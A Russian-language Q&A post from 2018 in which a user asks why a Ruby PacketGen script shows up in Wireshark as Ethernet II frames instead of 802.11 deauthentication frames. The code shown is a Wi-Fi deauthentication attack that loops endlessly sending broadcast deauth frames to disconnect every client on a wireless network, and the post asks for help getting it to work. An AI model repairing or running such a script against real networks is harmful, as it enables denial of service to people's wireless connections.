Почему моя программа создает кадры ethernet II вместо кадров deauth? - PullRequest
0 голосов
/ 16 октября 2018

Я написал простой сценарий атаки по умолчанию для использования в моей собственной сети.Я запустил Wireshark, чтобы посмотреть на пакеты, но вместо того, чтобы показываться как пакеты по умолчанию, они отображаются как пакеты Ethernet II;кроме того, они не влияют ни на одно из устройств моей сети.Я внедряю эти пакеты на моем беспроводном интерфейсе.Я переписывал свой сценарий несколько раз, но проблема все еще остается.Это связано с проблемой в моей сети или с моим кодом?Снимок экрана и код сценария приведены ниже.

Снимок экрана:

enter image description here

Код:

require 'packetgen'

    def deauth()
    network = 'wlp2s0'
    yes = 'y'
    no = 'n'
    broadcast = 'FF:FF:FF:FF:FF:FF'
    print 'Do you want to deauth network?[y/n]'
    input = gets.chomp
    if input == yes or yes.upcase!
        puts 'Deauthing all network clients...'
        while true
            PacketGen.gen('Dot11::Management', mac1: broadcast).
            add('Dot11::DeAuth').
            to_w(network)
            end
    elsif input == no or no.upcase!
        print 'Okay :('
        end
    end
deauth()
...